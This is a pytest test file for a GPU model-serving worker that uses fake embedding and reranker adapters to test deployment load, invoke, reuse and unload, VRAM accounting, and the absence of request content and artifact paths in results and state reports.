monkeypatch.setattr("modelforge_runtime_worker.worker.time.monotonic", lambda: next(times))
|
||||
after, reclaimed = worker._after_unload({"used_vram_bytes": 0})
|
||||
assert after["used_vram_bytes"] == 500 * 1024**2
|
||||
assert reclaimed is False
|
||||
|
||||
|
||||
class FakeServingAdapter(SentenceTransformersAdapter):
|
||||
def inspect_support(self, lease: dict[str, Any]) -> None:
|
||||
assert lease["runtime_profile"]["trust_remote_code"] is False
|
||||
|
||||
def prepare(self) -> None:
|
||||
pass
|
||||
|
||||
def start(self, _model_path: Path, _profile: dict[str, Any]) -> None:
|
||||
self.before = {
|
||||
"used_vram_bytes": 100,
|
||||
"process_used_vram_bytes": 10,
|
||||
"gpu_uuid": "GPU-test",
|
||||
}
|
||||
self.loaded = {
|
||||
"used_vram_bytes": 300,
|
||||
"process_used_vram_bytes": 210,
|
||||
"gpu_uuid": "GPU-test",
|
||||
}
|
||||
self.during = self.loaded
|
||||
self.load_time_ms = 200.0
|
||||
self.model = object()
|
||||
|
||||
def invoke(self, inputs: list[str], *, input_type: str = "raw") -> dict[str, Any]:
|
||||
assert input_type in {"raw", "query", "document"}
|
||||
self.during = {
|
||||
"used_vram_bytes": 320,
|
||||
"process_used_vram_bytes": 220,
|
||||
"temperature_c": 50,
|
||||
"power_draw_w": 40.0,
|
||||
"gpu_uuid": "GPU-test",
|
||||
}
|
||||
self.inference = {"finite": True, "dimension": 1024, "normalized": True}
|
||||
return {
|
||||
"vectors": [[1.0] + [0.0] * 1023 for _ in inputs],
|
||||
"count": len(inputs),
|
||||
"shape": [len(inputs), 1024],
|
||||
"dimension": 1024,
|
||||
"finite": True,
|
||||
"normalized": True,
|
||||
"prompt_tokens": len(inputs) * 4,
|
||||
"inference_time_ms": 25.0,
|
||||
}
|
||||
|
||||
def collect_runtime_facts(self, _lease: dict[str, Any]) -> dict[str, Any]:
|
||||
return {
|
||||
"offline_local_only": True,
|
||||
"trust_remote_code": False,
|
||||
"network_attempts": 0,
|
||||
}
|
||||
|
||||
def stop(self) -> None:
|
||||
self.model = None
|
||||
|
||||
def unload(self) -> None:
|
||||
self.model = None
|
||||
|
||||
|
||||
class FakeRerankerAdapter(QwenRerankerAdapter):
|
||||
def inspect_support(self, lease: dict[str, Any]) -> None:
|
||||
assert lease["runtime_profile"]["trust_remote_code"] is False
|
||||
assert lease["runtime_profile"]["network_egress"] is False
|
||||
|
||||
def prepare(self) -> None:
|
||||
pass
|
||||
|
||||
def start(self, _model_path: Path, _profile: dict[str, Any]) -> None:
|
||||
self.before = {
|
||||
"used_vram_bytes": 100,
|
||||
"process_used_vram_bytes": 10,
|
||||
"gpu_uuid": "GPU-test",
|
||||
}
|
||||
self.loaded = {
|
||||
"used_vram_bytes": 300,
|
||||
"process_used_vram_bytes": 210,
|
||||
"gpu_uuid": "GPU-test",
|
||||
}
|
||||
self.during = self.loaded
|
||||
self.load_time_ms = 200.0
|
||||
self.model = object()
|
||||
self.tokenizer = object()
|
||||
|
||||
def probe(self, _probe_input: str) -> dict[str, Any]:
|
||||
self.inference = {"finite": True, "count": 1}
|
||||
return {
|
||||
"status": "passed",
|
||||
"output_type": "ranked_scores",
|
||||
"finite": True,
|
||||
"count": 1,
|
||||
"latency_ms": 5.0,
|
||||
}
|
||||
|
||||
def rerank(self, _query: str, documents: list[dict[str, str]], top_n: int) -> dict[str, Any]:
|
||||
self.during = {
|
||||
"used_vram_bytes": 320,
|
||||
"process_used_vram_bytes": 220,
|
||||
"temperature_c": 50,
|
||||
"power_draw_w": 40.0,
|
||||
"gpu_uuid": "GPU-test",
|
||||
}
|
||||
ordered = list(reversed(documents))[:top_n]
|
||||
return {
|
||||
"results": [
|
||||
{"id": document["id"], "score": 1.0 - index / 10, "rank": index + 1}
|
||||
for index, document in enumerate(ordered)
|
||||
],
|
||||
"count": len(documents),
|
||||
"top_n": top_n,
|
||||
"finite": True,
|
||||
"prompt_tokens": 12,
|
||||
"inference_time_ms": 20.0,
|
||||
"timings": {"worker_total_ms": 22.0},
|
||||
}
|
||||
|
||||
def collect_runtime_facts(self, _lease: dict[str, Any]) -> dict[str, Any]:
|
||||
return {
|
||||
"offline_local_only": True,
|
||||
"trust_remote_code": False,
|
||||
"network_attempts": 0,
|
||||
}
|
||||
|
||||
def unload(self) -> None:
|
||||
self.model = None
|
||||
self.tokenizer = None
|
||||
|
||||
|
||||
def test_serving_engine_load_invoke_warm_reuse_and_unload(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
model_path = tmp_path / "repositories" / "model" / ("a" * 40)
|
||||
model_path.mkdir(parents=True)
|
||||
payload = serving_lease_payload("load")
|
||||
payload["artifact_root"] = str(tmp_path)
|
||||
monkeypatch.setattr(
|
||||
"modelforge_runtime_worker.serving.adapter_for", lambda _name: FakeServingAdapter()
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"modelforge_runtime_worker.serving.gpu_sample",
|
||||
lambda: {
|
||||
"used_vram_bytes": 500,
|
||||
"process_used_vram_bytes": 10,
|
||||
"temperature_c": 48,
|
||||
"power_draw_w": 10.0,
|
||||
},
|
||||
)
|
||||
engine = ServingEngine(tmp_path, reclaim_tolerance_bytes=0)
|
||||
loaded = engine.execute(payload)
|
||||
assert loaded.state == "warm" and loaded.metrics["loaded_vram_bytes"] == 300
|
||||
assert engine.load_count == 1
|
||||
duplicate = engine.execute(payload)
|
||||
assert duplicate.result["already_resident"] is True and engine.load_count == 1
|
||||
invoke = serving_lease_payload("invoke")
|
||||
invoke["artifact_root"] = str(tmp_path)
|
||||
result = engine.execute(invoke)
|
||||
assert result.result["count"] == 1
|
||||
assert len(result.result["vectors"][0]) == 1024
|
||||
unload = serving_lease_payload("unload")
|
||||
unload["artifact_root"] = str(tmp_path)
|
||||
unloaded = engine.execute(unload)
|
||||
assert unloaded.result["reclaimed"] is True
|
||||
assert unloaded.metrics["after_unload_vram_bytes"] == 500
|
||||
assert unloaded.metrics["after_unload_process_vram_bytes"] == 10
|
||||
assert engine.state == "cold" and engine.deployment_id is None
|
||||
|
||||
|
||||
def test_serving_engine_requires_residency_before_invoke(tmp_path: Path) -> None:
|
||||
engine = ServingEngine(tmp_path, reclaim_tolerance_bytes=0)
|
||||
payload = serving_lease_payload("invoke")
|
||||
payload["artifact_root"] = str(tmp_path)
|
||||
with pytest.raises(ProbeFailure, match="not resident"):
|
||||
engine.execute(payload)
|
||||
|
||||
|
||||
def test_serving_engine_keeps_two_exact_deployments_resident(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
model_path = tmp_path / "repositories" / "model" / ("a" * 40)
|
||||
model_path.mkdir(parents=True)
|
||||
monkeypatch.setattr(
|
||||
"modelforge_runtime_worker.serving.adapter_for", lambda _name: FakeServingAdapter()
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"modelforge_runtime_worker.serving.gpu_sample",
|
||||
lambda: {
|
||||
"used_vram_bytes": 500,
|
||||
"process_used_vram_bytes": 10,
|
||||
"temperature_c": 48,
|
||||
"power_draw_w": 10.0,
|
||||
},
|
||||
)
|
||||
engine = ServingEngine(tmp_path, reclaim_tolerance_bytes=0)
|
||||
first = serving_lease_payload("load")
|
||||
first["artifact_root"] = str(tmp_path)
|
||||
second = {**first, "deployment_id": str(uuid.uuid4()), "job_id": str(uuid.uuid4())}
|
||||
engine.execute(first)
|
||||
engine.execute(second)
|
||||
assert len(engine.slots) == 2
|
||||
assert len(engine.state_report().residencies) == 2
|
||||
invoke_first = serving_lease_payload("invoke")
|
||||
invoke_first["artifact_root"] = str(tmp_path)
|
||||
invoke_second = {
|
||||
**invoke_first,
|
||||
"deployment_id": second["deployment_id"],
|
||||
"job_id": str(uuid.uuid4()),
|
||||
}
|
||||
assert engine.execute(invoke_first).result["count"] == 1
|
||||
assert engine.execute(invoke_second).result["count"] == 1
|
||||
unload_first = serving_lease_payload("unload")
|
||||
unload_first["artifact_root"] = str(tmp_path)
|
||||
engine.execute(unload_first)
|
||||
assert len(engine.slots) == 1
|
||||
assert engine.state == "warm"
|
||||
|
||||
|
||||
def test_reranking_serving_engine_preserves_ids_and_never_returns_content(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
model_path = tmp_path / "repositories" / "model" / ("a" * 40)
|
||||
model_path.mkdir(parents=True)
|
||||
monkeypatch.setattr(
|
||||
"modelforge_runtime_worker.serving.adapter_for", lambda _name: FakeRerankerAdapter()
|
||||
)
|
||||
engine = ServingEngine(tmp_path, reclaim_tolerance_bytes=0)
|
||||
load = serving_lease_payload("load")
|
||||
load.update(
|
||||
{
|
||||
"artifact_root": str(tmp_path),
|
||||
"capability": "rag.reranking",
|
||||
"embedding_space_id": None,
|
||||
"expected_dimension": None,
|
||||
"normalize": None,
|
||||
"runtime_profile": {
|
||||
**load["runtime_profile"],
|
||||
"adapter": "qwen3_reranker",
|
||||
},
|
||||
}
|
||||
)
|
||||
loaded = engine.execute(load)
|
||||
assert loaded.state == "warm"
|
||||
invoke = serving_lease_payload("invoke")
|
||||
invoke.update(
|
||||
{
|
||||
"artifact_root": str(tmp_path),
|
||||
"capability": "rag.reranking",
|
||||
"embedding_space_id": None,
|
||||
"expected_dimension": None,
|
||||
"normalize": None,
|
||||
"input": None,
|
||||
"runtime_profile": load["runtime_profile"],
|
||||
"rerank_query": "query content",
|
||||
"rerank_documents": [
|
||||
{"id": "a", "text": "first secret body"},
|
||||
{"id": "b", "text": "second secret body"},
|
||||
],
|
||||
"top_n": 2,
|
||||
}
|
||||
)
|
||||
result = engine.execute(invoke)
|
||||
assert [item["id"] for item in result.result["results"]] == ["b", "a"]
|
||||
serialized = json.dumps(result.model_dump(mode="json"))
|
||||
assert "secret body" not in serialized
|
||||
assert result.runtime_facts["offline_local_only"] is True
|
||||
|
||||
|
||||
def test_worker_state_report_contains_no_artifact_path_or_request_content(tmp_path: Path) -> None:
|
||||
report = (
|
||||
ServingEngine(tmp_path, reclaim_tolerance_bytes=0).state_report().model_dump(mode="json")
|
||||
)
|
||||
serialized = json.dumps(report)
|
||||
assert report["state"] == "cold"
|
||||
assert "artifact" not in serialized
|
||||
assert "ModelForge serving" not in serialized
|
||||
Reference in New Issue
Block a user